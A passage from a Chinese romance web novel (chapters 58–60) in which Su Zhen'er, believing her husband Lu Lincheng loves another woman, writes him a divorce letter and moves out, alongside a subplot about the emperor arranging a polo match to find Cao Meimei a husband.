周玄祈握住手中绣球灯,在女人转身之际,突然伸手,一把抓住她的胳膊。 曹梦湄垂目侧身,正欲开口说话,绣球灯落地。 周玄祈的另外一只手已经扯开她的衣襟,露出后面肩胛骨上樱桃大小的深红色蝴蝶形状胎记。 曹梦湄面色大变,耳畔处却传来男人低低的一声笑,“呵。” 果然是她- 夜色深浓,苏甄儿躺在床上,翻来覆去的思考绿眉说的话。 一只手突然伸过来,按住她的肩膀,男人的黑影伏下来,“睡不着?” 苏甄儿眨了眨眼,仔细回味陆麟城刚才说的话。 温柔吗? 她怎么听不出来? “我想……”女人的手攀上男人的脖颈。 陆麟城俯身,嘴唇触到她。 “听你念话本。” “嗯?” 夜半三更,原本应该是展示亲密的时刻,屋内亮起了灯,苏甄儿挑了一本极厚的话本子来让陆麟城念。 陆麟城:…… 苏甄儿抱着自己的枕头,将脑袋垫在男人肩膀上,摆好姿势,闭上眼睛,安静等待。 陆麟城捧着手里的话本子,指尖翻过一页,然后又翻过一页。 “还没开始吗?” 苏甄儿睁开一只眼。 陆麟城轻咳一声,“开始了。” 男人嗓子偏冷,是那种玉石之音,清冷淡薄,苏甄儿闭眼听着,越听越觉得不对劲。 “她举起斧头……” “等一下,这是什么话本子?”苏甄儿迷迷糊糊间听得一个机灵,她一把攥住陆麟城的胳膊,瞌睡虫全跑了。 陆麟城翻了翻,“唔,温柔的杀死他,一个被丈夫常年殴打的女人终于不堪受辱将丈夫夜半分尸……” 苏甄儿:……虽然很刺激,但大半夜的她觉得不太适应,越听越冷,分明才是九月的天,她都被吓得起鸡皮疙瘩了。 “不准念了,我要睡了。” “还没念完。”男人的语气里带上了几分可恶的戏弄。 苏甄儿气急,伸手去掐陆麟城,掐到一胳膊硬疙瘩。 陆麟城生了一张漂亮至极的脸,身上却练得钢铁一般,苏甄儿总觉得自己在跟一块钢板睡觉。好吧,起码这是一块好闻的钢板,她很喜欢他浸着汗水的时候,身上散发出来的气息。 房,事进行时,她的指尖滑过他的肌肤,尤其是后腰时,他会闪躲,身体会抖,声音会变得更哑,力道却会更重,像是紧张压抑过后的短暂失控。 苏甄儿咽了咽口水。 她指尖下移,掐到陆麟城的腰线处。 这像是一个信号。 男人迅速翻身笼罩过来,柔软的气息喷洒在她脖颈处。 苏甄儿伸手环住他的腰。 行到激烈处时,苏甄儿迷迷糊糊听到陆麟城在她耳畔说话。 “能被你杀死,我也很高兴。” 苏甄儿没有听清陆麟城说的话,她只听到了那语气嗓音,旎侬柔情如水般泄入耳中。 她想,确实,有些温柔- 九月金秋到了尾声,钦天监算出下次祭祀佳节在十二月。 距离十二月还有两个月的时间,皇帝暂时摆驾回宫,陆麟城带着鬼面军护卫在侧,苏甄儿也终于能跟着大部队一起离开太庙,回到北辰王府。 一路颠簸,苏甄儿抱着小绿坐在马车内,金陵城时已临近晚间。陆麟城随周玄祈入宫去了,让十三护送苏甄儿回北辰王府。 回到王府,苏甄儿将小绿交给丫鬟照顾,自顾自歇息一阵,等天色透暗时,才在绿眉的催促下梳洗一番,从连接着北辰王府和英国公府的小门口入了英国公府。 奇哥儿正在等苏甄儿一道用晚膳。 与初来金陵城时相比,小孩的个头窜高不少,说话都开始变声了,整个人也越发沉稳,跟个小大人似的,整日里端着架子,不是习武就是念书。 听说已经有些公府侯爵看中了奇哥儿,想要与英国公府缔结姻亲。 苏甄儿慢条斯理吃下一口珍珠米,歪头看向坐在自己对面的奇哥儿。 少年初长成,容貌俊秀至极,只是眉眼略显冷淡,听奶母说如今也不太爱搭理人,都不常见笑了,还是小时候可爱。 对于婚事,苏甄儿也询问过奇哥儿的意见。 当时,小少年手捧书籍,皱眉看向她,“阿姐,我这个年纪正是读书的时候。” 一派正气将她压得差点愧疚遁地。 苏甄儿:…… 苏甄儿叹息一声,确实还是小时候可爱,现下都不好欺负了。 “阿姐。”用完晚膳,奇哥儿突然唤她。 苏甄儿还沉浸在自家软萌可爱好欺负的弟弟长大了以后不好欺负的悲伤事实之中,“嗯?” “老太傅身体不好,已然不能给我讲课。” 从前她给奇哥儿寻的一位老太傅年纪大了,说话开始颠三倒四,忘东忘西,一会叫奇哥儿爹,一会儿又叫奶母娘,实在是不能教书了,苏甄儿只好将人恭恭敬敬送了回去。 算算年纪,奇哥儿也该到参加童生考试的时候了,这新老师一定要好好找,只是不知道现在奇哥儿的学业水平怎么样。 “我抽检一下你的功课。”书房内,苏甄儿拿起奇哥儿写的文章看起来,想展示一下自己作为姐姐的权威,然后发现她已经跟不上自家弟弟的速度了。 早就知道奇哥儿读书厉害,没想到这么厉害! 最关键的是,奇哥儿喜欢看的都是些艰涩难懂的文章书籍,苏甄儿偏爱些风花雪月,两人虽一般聪明,但在爱好上天差地别。小时候,苏甄儿还能替奇哥儿指点一二,现在却是不行了。 当然,若是在风花雪月,吃喝玩乐上,她依旧能指点三四,只可惜,这小古板对这些东西不感兴趣。 “咳,写的不错。”苏甄儿放下文章,“新老师我会尽快替你找的。” 苏甄儿已经替新老师感受到了来自学生的压力。 抽查功课的事告一段落,苏甄儿注意到奇哥儿身上穿的衣物,袖子明显短了一截。 若非有这张脸撑着,实在是叫人看不下去。 对于吃穿用度方面,奇哥儿跟苏甄儿真是两个极端。 一个是都行,都可以。 一个是这个不行,那个不要。 苏甄儿觉得应该培养一下奇哥儿的审美,不然走出去丢她的脸。还不等她开始自己的审美课程,那边绿眉就抱了一坛子酒过来,说是曹小姐托人送来的。 “曹小姐还说,王妃莫要忘记答应她的事。” 自然是没忘的,只是这曹梦湄也太心急了些吧? 苏甄儿从奇哥儿这拿了纸笔,写了一封信,递给绿眉,让她去福来客栈交给燕娘。 翌日,金陵城内流言四起,说北方曹氏女乃阴年阴月阴日阴时生人,是天选大周皇后。 这谣言自然也传进了宫里。 御书房内,周玄祈抬手反压住暗卫送进来的金陵小报,脸上神色不显,沉思片刻后抬眸看向坐在自己下首处,帮忙处理军务的陆麟城。 “闻严,天气凉爽,我们是不是很久没有好好玩乐一番了?” 陆麟城手持毛笔的动作一顿,他抬头看向周玄祈,“陛下,说人话。” 周玄祈:…… “金陵城很久没有好好热闹热闹了,不如安排一场马球赛,大家一起热闹热闹?”- 苏甄儿肯定,按照当今皇帝对金陵城的掌控程度,那份金陵小报应该已经送到他的御案上了。 她对着下朝回来的陆麟城旁敲侧击,“最近外头关于大周未来皇后的传闻很厉害,陛下没有受到影响吧?” 陆麟城夹起一块精雕细琢成杏花的奶豆腐,左右看了看,尝试性地放进嘴里,细抿一口之后,咽下去,才开口道:“虽有暗卫拿了金陵小报进御书房,但陛下没有跟我提及此事。” 没提? 顿了顿,陆麟城又道:“不过他提了另外一件事。” “什么事?”苏甄儿好奇。 陆麟城给苏甄儿夹了一朵奶豆腐,“马球赛。” 当今陛下请北辰王妃举办一场马球赛。 苏甄儿参加过很多场马球赛,自己倒是从来没有举办过。 “这是陛下给的马球赛邀请名单。” 陆麟城从宽袖暗袋内掏出周玄祈写的名单。 这是有备而来? 苏甄儿接过名单细看一番,除了金陵城内一些未嫁的小姐之外,一大半都是未婚的适龄男子,上到公府侯门,下到五品小官,应有尽有。 “陛下这是什么意思?”苏甄儿好奇,“相亲大会吗?”说完,苏甄儿的视线定在某个名字上。 曹梦湄。 若是相亲大会,皇帝陛下居然还将她放上去? “奇怪……”苏甄儿嘟囔了一句,然后将名单收好- 北辰王府在金陵城外有一处马场,苏甄儿便将地点定在了那里。 现在正是秋后,这草都黄了,也不知道这位皇帝怎么突然想起要办马球赛来了。 作为举办人的苏甄儿一大早就要起身梳洗装扮。 天知道她有多久没早起了。 苏甄儿一边打着哈欠,一边从床上起身,身侧陆麟城睡的位置空着,连余温都没有,他已经起身在院中晨练了近半个时辰,这个晨练的习惯风雨无阻。 苏甄儿拉了拉自己的亵衣,撑起身子的时候手指触摸到一个硬物。 她掀开被褥,发现一支红玛瑙珠花。 她的珠花吗? 饰品太多,苏甄儿根本就记不得她有这么一支珠花。 苏甄儿随手拿起来扔进梳妆台上的妆奁盒子里。 收拾完毕,苏甄儿携陆麟城一道坐上马车,并让十三将马厩里的珍珠和红缨都一起带过去,说不定要上场呢。 苏甄儿和陆麟城到时,客人们已经来了几位,幸好都是些无足轻重的小人物。 这种天气要办马球赛,真是在折腾她。 苏甄儿费尽心思,搬了一些葱翠花草装点,然后又搭建了棚子,供应上最好的瓜果糕点,甚至贡献出了自己的厨子。 忙完这些,苏甄儿的精力也耗费的差不多了,她将剩下的事情交给绿眉去分配,自己拉着陆麟城寻了一处凉亭歇息,也懒得去看沙尘漫天的马球赛。 凉亭建造在假山上,苏甄儿打开食盒,取出里面的糕点送到陆麟城面前。 男人看到糕点的瞬间面色有一瞬间的明显变化。 “红豆糕?” “对啊,陈记的,可难买了。”女人单手托腮,似嗔似怒,“我们未成婚前,我还送过你一盒呢,可惜被你扔了。” 陆麟城:???是他扔的吗? 苏甄儿颠倒黑白完毕,“可好吃了,尝尝,那次你都没尝到。”她眉眼一转,自己捏起一块红豆糕拿在手里,送到陆麟城面前,“啊,张嘴。” 第59章 和离书 将一整块红豆糕塞进陆麟城嘴里, 苏甄儿看着他鼓起的面颊,忍不住笑出了声。 然后下一刻,一块红豆糕就到了她嘴边。 男人翘着拇指, 撑开她的唇角, 将红豆糕塞了进去。 红豆糕太大,没塞完,剩下一半堵住了苏甄儿的嘴,里面那一半撑得她面颊鼓鼓。 苏甄儿:…… 原本幻想中的你侬我侬互喂红豆糕变成了互塞红豆糕。 突然, 一阵清脆的禁步声悠悠传来。 凉亭下有假山, 此处僻静,因此, 假山内说话之人的声音就变得格外清晰。 “我真是手笨, 竟然弄脏了陛下衣物。” “无碍,只是一些酒水。” 两人一边说话, 一边穿梭在假山之中。 苏甄儿站起身探头看过去, 两道熟悉的身影已然走远。 是曹梦湄和周玄祈。 难道举办马球赛是假, 私会是真?- 这是一座人造假山, 占地不小,在里面走上一个来回也要一炷香的时辰, 因为它实在绕的跟迷宫一样。 两人一前一后走着,周玄祈作为皇帝, 却跟在曹梦湄身后。 女人走在前面,身姿摇曳,晚秋的天,薄纱一般的长裙透出纤细身段。她身上带着刻意熏烘出来的牡丹花香, 淡而华贵,引人心痒。 再看她的衣襟处, 濡湿一片,那杯酒倾倒下去的时候,不仅洒了周玄祈半身,也洒了她半身。 四周寂静无人,连虫鸟之声都不闻,狭窄的假山小道之上,两人的呼吸声逐渐趋于一致,连带着空气都带上了几分突显的暧昧。 曹梦湄想,应当是差不多了。 今次马球赛,难道不是周玄祈刻意求的私会? “曹小姐可有看中的?”突然,身后传来男人的声音。 曹梦湄脸上的笑意随着周玄祈的话而迅速消失。 “陛下这是什么意思?”曹梦湄转身,表情微冷。 周玄祈身穿常服,寻常之时不见身上骇人的帝王威仪,只让人觉得是位儒雅公子,而就算是穿上军服铠甲,也是一位难得的风采儒将。 他微笑着看向曹梦湄,“朕属意于与曹氏联姻,以结秦晋之好,今日马球赛上,除了朕,只要是曹小姐看中的未婚公子,朕都可以替曹小姐做主联姻。” 风起,穿过假山石,吹得曹梦湄被酒水打湿的衣衫一冷。 那股冷风直接钻进了骨髓之中,扒开她的肌肤,如此直白的言论,让曹梦湄丢尽颜面。 他要将她推给别的男人。 曹梦湄的脸色难看至极,她咬着牙道:“难道我是物件吗?任由陛下推来推去。” “曹小姐误会了,今次马球赛,都是为了让曹小姐挑选心仪之人。” 成年人的游戏,互相试探,互相暧昧,彼此心知肚明却又不戳破。 玩到现在,他说要给她选婿。 曹梦湄真是被气笑了。 她皮笑肉不笑,“我真选了,又怕某些人不高兴。” 周玄祈笑得则比曹梦湄真心多了,“若能与曹氏缔结联姻,朝廷上下,没有人会不高兴。” 曹梦湄连皮笑肉不笑都没有了。 她冷眼看着周玄祈,转身就走。 周玄祈一人留在假山堆中,低头嗅了嗅身上的酒水,伸手扯了扯衣襟,随后脱力一般,坐在了假山石上。 片刻后,他抬头,看到重新走了回来的曹梦湄。 曹梦湄冷哼一声,转身就走。 又是片刻后,曹梦湄又绕了回来。 曹梦湄:……这什么鬼假山石! “朕带你出去。” 周玄祈站起来带曹梦湄往外去。 他背对着曹梦湄走在前面,唇角不自觉翘起来,眼中带着几许无奈。 这么多年了,还是这么容易迷路。 曹梦湄虽然不待见周玄祈,连看都不想看到他,但凭借她一个人,好像真的出不去。 无奈又气愤的跟在周玄祈身后,曹梦湄对着他的影子狠踩几脚,腰间的禁步被撞得杂乱无章。 “当心脚下。” 此处狭窄,只供一人通行。 假山石缝间,逼仄的空间将人的情绪堆到顶峰。 曹梦湄气闷又愤怒,冷不丁抓住周玄祈的袖子,“我们多年情谊,是假的吗?” 那一夜,随着肩胛骨处的胎记被发现,曹梦湄的伪装无所遁形。 可男人却并未说什么,只是淡淡一笑,随后替她拉好衣物,说了一句,“冒犯。” 反倒是让曹梦湄心惊胆战了好长一段时间,甚至腆着脸提前请那位北辰王妃发布了谣言。 谣言出,曹梦湄的心却没有定,直到今日。 对于曹梦湄的撩,拨和暧,昧,周玄祈照单全收。 余情未了。 这是曹梦湄对周玄祈的评价。 她的心定了,她认为,她胜券在握。 可现在,现实将她的脸打得“啪啪”作响。 “为什么?难道陛下有心仪之人?”曹梦湄不肯罢休,她输得太惨,她一定要一个解释。 走在前面的周玄祈脚步一顿,随后叹息般道:“是的。” 曹梦湄望着周玄祈的背影,心一瞬坠落谷底,随后心脏像是被人揪紧一般,呼吸困难。 “所以我与曹小姐无缘。”- 苏甄儿在凉亭内吃完红豆糕,当然大部分都是陆麟城吃的。 天色渐暗,马球赛接近尾声,苏甄儿去收拾了一下残局,然后趁着夜色未至,提着酒壶,与陆麟城来到凤霞山上。 凤霞山在金陵城外的马球场旁,是一座很有名的山。 它以秋日火红遍野的枫树闻名天下,又以其浪漫的传闻引无数情侣夫妻竞折腰。 传闻若是能与心爱之人站在山顶,看到第一缕晨曦阳光,便能获得一生一世一双人的美好祝愿。 因此,苏甄儿是带着私心跟陆麟城来这里的。 两人坐在铺着垫子的大石上,周围空无一人。 陆麟城看着刚刚落下的日头,“来晚了,夕阳已经落下了。” “我们是来看日出的。” “啊?”- 晚秋的夜晚,温度还不算冷。 苏甄儿裹着身上的斗篷,两只白玉小杯斟满酒水,一只递给陆麟城, “这是上次曹梦湄送我的酒,听说是贡酒。” 小小白玉杯中盛着清酒,细嗅之下是淡淡金橘香气。 苏甄儿轻抿一口,尝出佛手、桂花等材料。 对比起苏甄儿的细致品尝,陆麟城对酒便是一窍不通了。他本身酒量也不好,平日里更是一杯就倒。 苏甄儿当然知道陆麟城的酒量有多差,她今日带酒上山,自然是别有目的。 “好喝吗?” “……嗯。” 男人的眼神已然有些涣散。 苏甄儿伸出一根手指,“这是几?” 陆麟城眨了眨眼,脸上不显酒色,他冷静地盯着苏甄儿的手指看了很久,才开口道:“手。” 好,醉了。 夜深,四周安静极了,苏甄儿往陆麟城身边靠了靠。 两人身后的古树上拴着珍珠和红缨。 两匹马正腻在一起蹭头。 “我是谁?”苏甄儿问。 陆麟城定了定神,“娘子。” “我好看吗?” “好看。” “你有喜欢的人吗?” “有。她,给我起名字……” 两人身侧置着苏甄儿提前准备好的绣球灯。 光色氤氲,男人的眼神敛尽了世间柔情,万千光华汇于眸中,诉说着爱慕之情。 他看着她,却仿佛透过她,在看另外一个人。 苏甄儿端着白玉杯的手骤然一松。 她确实没有想到,会得到这个答案。 铁树石头一样的男人,居然会有喜欢的女子。 她从未发现这件事。 白玉杯落在地上,浸湿了裙裾。 苏甄儿定定盯着眼前男人的脸,想张口询问那个人是谁,可喉咙却跟哽住了似的,怎么都问不出来。 骄傲如苏甄儿,却在此刻退缩了。 “那你现在,还喜欢她吗?”苏甄儿听到了自己颤抖的声线。 晚风起,漫山枫叶如海浪般席卷而来。 苏甄儿听到了陆麟城的回答。 他说,“喜欢。” 心头发酸,好酸。 嫉妒蔓延至全身,苏甄儿霍然起身,身上的披风掉在地上,她走到红缨身边,解开缰绳,翻身上马。 “十三,王爷交给你了。” 十三从暗处出来,一把扶住倒在地上的自家王爷。 因为离得远,所以他并没有听到两人的谈话,可他看到了北辰王妃僵硬的脸,还有上马之时,甩落的泪珠。 苏甄儿一路纵马回到金陵城,脸被风吹得生疼,她伸出手摸了摸自己僵硬的脸,发现脸上竟有干涸的泪痕迹。 哭了? 她什么时候哭的? “王妃,您怎么一个人回来了?王爷呢?”绿眉迎上来。 苏甄儿低着头没有说话,闷声回到屋子。 她将自己蜷缩进被褥中,闷到头脑发晕,才猛地一下拉开被子,露出一双湿红的眼。 指尖触到床帘上挂着的珍珠链条,苏甄儿突然想起什么,起身走到梳妆台前,打开妆奁盒子,在里面一顿翻找。 越找越急,苏甄儿索性一把将首饰都扔在了地上。 珠玉钗环散落,满地狼藉之下,她匍匐在地,借着月色翻找,终于找到了那支珠花。 虽然是比较旧的款式,但造价昂贵,非寻常人家所有,最重要的是,这分明不是她的东西。 苏甄儿跪坐在地上,手里紧紧攥着这支珠花。 不知道在原地呆坐了多久。 晨曦初显,淡色的日光穿过窗户。 苏甄儿抬头,双眸泛红。 今日阴天,没有日出。 所以,就算是站在凤霞山最高处,他们也不会看到日出- 若是不喜欢,就算了。 可偏偏,她就是喜欢上了,怎么能不伤心,怎么能不难过。 苏甄儿攥着手里的珠花,抬手擦了擦脸。 她站起来,又摔下去。 脚麻了。 撑在地上缓了缓,苏甄儿终于勉强站起来,只是脚麻的厉害,走不动路。 她勉强走上几步,坐到梳妆台前,看到自己红肿的眼,惨白的脸,不知道的还以为她昨日扮鬼去了。 可她分明是去约会的。 好累。 苏甄儿拖着疲惫的身体走向床铺,歪头倒在上面。 她闭上眼,可却睡不着,眼泪还是止不住的从眼眶里跑出来。 哭什么哭,不过就是一个男人而已。 院外传来声响,时辰尚早,连洒扫的小丫鬟都还没起身呢。 陆麟城与十三的声音清晰传进来,“怎么没喊醒我?” “喊了,王爷您也知道您的酒量,怎么可能醒的过来。” 陆麟城素常知道自己的酒量,因此滴酒不沾,除非是苏甄儿给他吃的酒。 主屋的门关着,陆麟城走到门口,停下来,十三也跟着噤声。 片刻后,主屋的门被轻巧打开,一阵晨风夹杂着寒露的味道被送进来,吹起下垂的帷幔。 陆麟城放轻脚步走过去,伸手触到帷幔,还没拨开,便听到苏甄儿的声音,略哑,似乎是刚刚睡醒,“回来了。” “嗯,不小心喝醉了。” “这个是你的吗?” 再给他最后一次机会。 再给自己最后一次机会。 再给他们最后一次机会。 素手攥着一支珠花,拉开一道极窄的帷幔缝隙,被递到陆麟城面前。 苏甄儿安静等待,她隔着帷幔看到男人身影。 “嗯。” 手中的珠花被取走,没有看到脸,听力变得格外敏,感,她感受到了陆麟城嗓音间的紧张。 他对这支珠花很紧张。 “时辰不早,你去上朝吧,我要再睡一会。” 苏甄儿攥紧帷幔缝隙,将那唯一的一点晨曦光色掩盖。 她黑色的长发垂落下来,掩住面容。 陆麟城站在帷幔外面,女人若隐若现的身形缓慢蜷缩起来,像是累极了。 他没有再打扰- 苏甄儿还是没有睡着,她的睡眠质量平日里还是不错的,脑中翻来覆去都是跟陆麟城相处的片段。 他从水中将她救起,他在灵谷庙外的棺材里找到她,背她下山,替她追敌。他们在落雪的桥上亲吻,在温暖的温泉中互相爱,抚。 他为她徒手攀塔,带着她从熊熊烈火之中硬生生杀出一条生路。他夜半穿过半个金陵城入宫为她请来太医,还有昨日,他们在亭中互喂糕点。 点点滴滴,汇成她的心动,却抵不过他心中藏着另外一个女人。 原本她以为,多年夫妻情分,他大抵对她应当也是有几分喜欢的。 可如今看来,都是她的奢望。 是啊,原本也只是她的一场算计罢了。 只可惜,她把自己的心也一起算计了进去。 若没有她的算计,他会不会早已娶了自己的心爱之人? 苏甄儿安静地闭眼,眼前拂过一条毛绒绒的东西。 她睁开眼,看到蹲在自己面前舔毛的小绿。 看到苏甄儿醒了,小绿凑过来,舔了舔她的脸。 咸湿的泪水被舔掉一些,苏甄儿眨了眨眼,眼泪又落下来。 小绿继续舔,苏甄儿偏头,将脸埋进小绿腹部,哭得小猫腹部濡湿。 哭完一顿,苏甄儿用帕子给小绿擦干净,然后起身,望着自己生活了数年的地方,游魂一般走到陆麟城的书房门口。 男人已经去上朝了,苏甄儿推开门,书房内淡淡的墨香袭来。 她坐到书桌前,摊开纸,写下三个字:和离书。 落笔之后,她却开始发起了呆。 苏甄儿知道,陆麟城并没有出轨行为,他只是,不喜欢她而已。 其实若在成婚前知道陆麟城有喜欢的人,为了她自己的利益,她还是会嫁给他。 毕竟比起男人的爱情,她的性命和英国公府的前途明显更重要。 因为毫无感情,所以她能肆无忌惮的伤害陆麟城,利用陆麟城。 可现在,她后悔了。 若她当初多问一句,再多一份良心,也不至于将自己弄得如此狼狈不堪的丢了心。 她应该,放他自由。 不能跟自己喜欢的人在一起,她知道这种痛苦。 她正在经历。 而且她的骄傲也不允许她的相公心里有别人。 苏甄儿拿着毛笔,怔怔出神,很久很久之后,她才写下八个字。 愿君自洽,得觅良缘。 第60章 我不敢 今日朝中事务较多, 陆麟城出宫的时辰稍晚了些。 一出宫门,便见北辰王府的管事候在宫门口,正不住的朝他这里望。一见他出来, 赶忙三步并作两步来到他面前, “王爷,不好了。” “什么事?”陆麟城素来冷静,便是当年带领三千骑兵对战三万敌军之时,亦是泰山崩于前而面不改色。 他一边整理挂在珍珠脖子上的缰绳, 一边听管事道:“王妃搬回英国公府去了。” 陆麟城解开缰绳的动作一顿。 “王妃还将自己的东西也搬了回去, 说,说……” “说什么?”陆麟城听到自己干涩的声音。 “说她已经与您和离, 不再是北辰王府的王妃。”- 陆麟城纵马回到北辰王府时, 正碰到搬运行李的英国公府家奴,他看着那一件件从王府内搬运出去的物件, 知道管事说的话是真的。 男人呼吸急促地拨开人流, 径直来到主屋。 陆麟城从来没觉得自己住的地方如此冷清宽大, 他站在空荡荡的主屋门口, 看着卸去了绿纱帷幔的内室,床边的梳妆台已经不见了, 大开的衣柜内除了还没来得及收拾出来的冬日衣物外,轻薄些的夏衫裙裾已经被清理出来。 原本挤挤挨挨的衣柜立刻就空出一大块地方, 更衬得陆麟城那几件原本被挤压到角落的衣服显得孤零零的。 空气里尚弥漫着女子最爱的芙蓉香,角落里的熏香炉被丫鬟端起,置到箱子里。 “仔细些,别碰坏了。”绿眉正站在主屋内指挥, 一转头,看到站在门口的陆麟城, 上前恭谨行礼,“王爷,这是王妃让奴婢交给您的。” 陆麟城低头,看到绿眉手中的一份信件。 “这是……什么?” 心中隐隐有一个预感,陆麟城站在那里,指尖颤栗,不敢抬手。 似乎只要他不接,这份东西就不会到他手里。 可绿眉无情的打破了他的幻想。 “和离书。” 绿眉见陆麟城不接,便将和离书放到了旁边清空的圆木桌上。 送完和离书,绿眉的任务也就完成了。 “今日东西没有搬完,明日奴婢带人继续来搬。” 绿眉带着丫鬟离开,主屋内显得更空了。 夕阳彻底隐没,收紧最后一线阳光。 陆麟城站在阴影里,觉得自己身上的温度随着日落一起消失了。他彷佛深陷寒冷冬日,陷入了失温陷阱。 温暖的现实抽离而去,他的梦境支离破碎。 他的思绪游移在现实和梦境之中,分不清虚幻真实。 彷佛一切都只是一场梦,到如今,他的梦终于是醒了。 夜色渐浓,温度开始变得很低。 一夜降温,金陵城开始陷入漫长的冬季。 “主子,您不去问问和离的原因吗?” 陆麟城罚站一般在原地站了两个时辰,任何人都不敢上前打扰,唯独只有十三。 他跟着陆麟城最久,刀光剑影里一起活命出来的主仆,哪里见过这个样子的北辰王。 像一片脆弱的秋日枯叶,轻轻一碰,就碎了。 夹杂着风声,男人低垂着头,眼睫颤抖。 “我……不敢。” 自卑的人在面对幸福的时候都不敢有过多的奢望,他们甚至会提前设想最坏的结局,然后等这个结局真正来临的时候心酸地舒出一口气。 他就知道会这样。 他配不上的。 可还是……好难过……似乎连呼吸都被剥夺- 奇哥儿站在主屋门口,看着由主屋内蔓延出来的箱子,几乎堆满了半个院子。 他的阿姐坐在箱子边,任由丫鬟们忙碌收拾。 她还穿着昨日的衣裳,这对于爱美喜净的阿姐来说几乎是不可能的。 唯一一次,便是母亲病重那日。 他的阿姐看起来,真的很伤心。 女人低垂着头,双臂环抱膝盖,面颊贴在膝盖骨上,歪头盯着某处,碎发滑落,看起来纤细一团。 绿眉拿了斗篷过来,轻轻披在苏甄儿身上。 “王妃,地上冷。” “不要叫我王妃了。”长久没有说话,苏甄儿的嗓子是带着哭腔的哑。 “……是,郡主。” “和离书给了吗?” “给了。” “他,说什么了吗?” “……没有。” “哦。” 主屋内陷入安静,苏甄儿没有再说话。 绿眉也不知道能说些什么,只好将求救的视线投向门口。 奇哥儿也不知道自家阿姐与北辰王之间发生了什么,因此,面对绿眉的目光,也只是轻轻摇了摇头。 “郡主,听说陈记新出的海棠糕很好吃,奴婢去给您买些回来尝尝吧?” “不饿。”苏甄儿换了一个姿势,将自己蜷缩的更紧了些,“我想一个人待会儿。” “好,那您有事就唤奴婢,奴婢就守在主屋门口。” 绿眉出去了,主屋内只剩下苏甄儿一人。 这屋子是她之前住的,因为北辰王府就在隔壁,来回及其方便,所以苏甄儿已经好几年没住过了。 丫鬟每日打扫,一尘不染,可依旧掩盖不住一股子物件气,没有人气,到处都感觉冷冰冰的。 苏甄儿使劲环抱住自己,却依旧觉得冷。 门缝没有关严实,细碎的风落进来,卷起她的发- 苏甄儿三天三夜没有出主屋,绿眉焦急的不行,直到第四日的时候,才看到自家瘦了一大圈儿的主子推开主屋大门。 虽清瘦不少,但精神看起来还好。 “郡主,绣花楼的老板过来好几次了,说有新货上门,您要去看看吗?” “好,备车吧。” 蜗居几日,苏甄儿的心情总算平静不少。 她一个人睡空荡荡的床铺,一个人看着空荡荡的木施,偌大主屋,唯独只有她落在地上的孤单暗影。 从前她也不觉得寂寥,可现在却觉得静的可怕,她躺在那里,闭眼却无法入睡。 不行,她得重新适应这种没有陆麟城的生活节奏。 马车驶出英国公府,苏甄儿撩起马车帘子,看到外面热闹的街巷,听到嘈杂的人声,竟生出一股恍如隔世之感。 她这是在屋子里憋了多久啊,竟生出这种感觉。 苏甄儿无声吐槽自己,马车左拐,从北辰王府门前经过。 绿眉没来得及阻止,马车夫习惯了。 苏甄儿看到北辰王府熟悉的匾额,神色一顿。 下一刻,旁边角门被打开。 苏甄儿的表情下意识紧张起来,她的眼神落到角门口,然后听到一阵熟悉的马蹄声从窄窄的角门后传来。 “哒哒哒……” 身穿黑色常服的男子纵马而出,单手勒着缰绳,出门的瞬间就发现了从门前经过的马车。 陆麟城动作一顿,下意识偏头看去。 马车帘子轻晃,薄纱隔绝光线,也隔绝了他的视线。 苏甄儿背对着马车窗子,她安静坐在那里,搭在膝盖上的手却揪紧了帕子。 短短几日,果然无法割舍,再次相见,连眼神都未曾触碰,她的心却已经被吸引住了。 “哒哒哒……”马蹄声跟她的马车越来越近。 苏甄儿的心提到了嗓子眼,下一刻,她突然出声,“进前面巷子。” 马车夫迅速将马车拐进侧边的巷子。 巷子虽不窄,但只供一辆马车通行。 马蹄声顿了顿,意识到女人的回避之意。 男人垂目下去,从巷子前经过,又缓慢远去。 绿眉撩开马车帘子,探出半颗头。 街道上恢复喧嚣,那位北辰王已经不见踪迹。 “王妃……”绿眉欲言又止。 绿眉不知道自家王妃跟王爷之间发生了什么,可她分明觉得,这两人之间是有情意在的。 “去绣花楼吧。” “是。”- 绣花楼内的衣物一如既往的合苏甄儿的心意。 她一口气试了好几套,撩开试衣间帘子的时候,眼神不小心瞥到那张靠墙放着的圈椅。 上次来绣花楼,男人就坐在那里,看着她一套又一套的换衣服。 现在那个人再也不会坐在那里等她试好衣服出来,笑盈盈地看着她说,“好看,很好看,非常好看”了。 空荡荡的圈椅侧边置着一盏茶,老板还不知道苏甄儿现在已经不是北辰王妃,殷勤道:“王妃穿这件衣裳真好看,若是王爷在,定然是要被迷花眼的。” 圈椅尚在,人却不在了。 苏甄儿突然没了兴致。 “刚才试过的衣服都要了。” 老板惊喜不已,“多谢王妃。”- 自从上次去了一趟绣花楼,在路上偶遇陆麟城后,苏甄儿就没出过门。 好吧,她承认自己是个怂货。 她苏甄儿什么时候怂过?怎么一遇到爱情,就变成了爱情的怂货呢? 她冠冕堂皇的和离理由,在此刻竟变成了她懦弱的象征。 她不仅介意陆麟城心里有别人,更介意她比不过那个女人。 行李搬了半个多月还没有搬完。 绿眉望着堆满了行李的院子,吩咐管家将隔壁院子也收拾出来暂时放自家王妃的东西。 这样大的搬家动静,自然惊动了金陵城内的八卦百姓。 一时间,到处都是苏甄儿跟陆麟城的八卦猜测。 “听说是和离了。” “北辰王什么人物,当初若非陛下一纸婚约,那是万万不能跟苏甄儿此等落魄贵女成婚的。” “放屁,我听说跟北辰王和离的第二日,那位新晋探花郎就入了英国公府的大门。” “原来是那北辰王妃始乱终弃?” 面对那些猜测,蜗居在公府内的苏甄儿没有听到一星半点,她只是吩咐今日的厨娘,给奇哥儿和他的新师傅多做上几盒子午后糕点。 奇哥儿那边的老太傅走后,苏甄儿抓紧又给他寻了一位。 因为钱多事少,所以竟将本次新科探花郎给请来了。 听说这位探花郎苦寒出生,为了早日在金陵城内贷款三十年买下一座小宅子,才接下了苏甄儿这份生意- “这次新招进来的一批进士还不错,尤其是这个探花郎,虽出身清贫,但性子正直,也不沾党争,我让锦衣卫查过,也没有什么污点,最近半年我把他放在翰林院检验了一下,也是个极耐得住性子的,办事能力也不错,我准备将他往内阁培养培养,你觉得呢,闻严?闻严?陆麟城!” 周玄祈手里的毛笔砸了过去。 陆麟城下意识偏头避开,一双黑眸落到周玄祈脸上,“她开心就好。” 周玄祈:…… 周玄祈伸手扶额,重重吐出一口气,“朕问你,你跟你那王妃到底怎么了?” 陆麟城低头不语。 周玄祈气急,“朕做的媒,朕还不能问一句了?” 陆麟城猛地呛出一句,“你跟曹梦湄呢?” 周玄祈立刻噤声了。 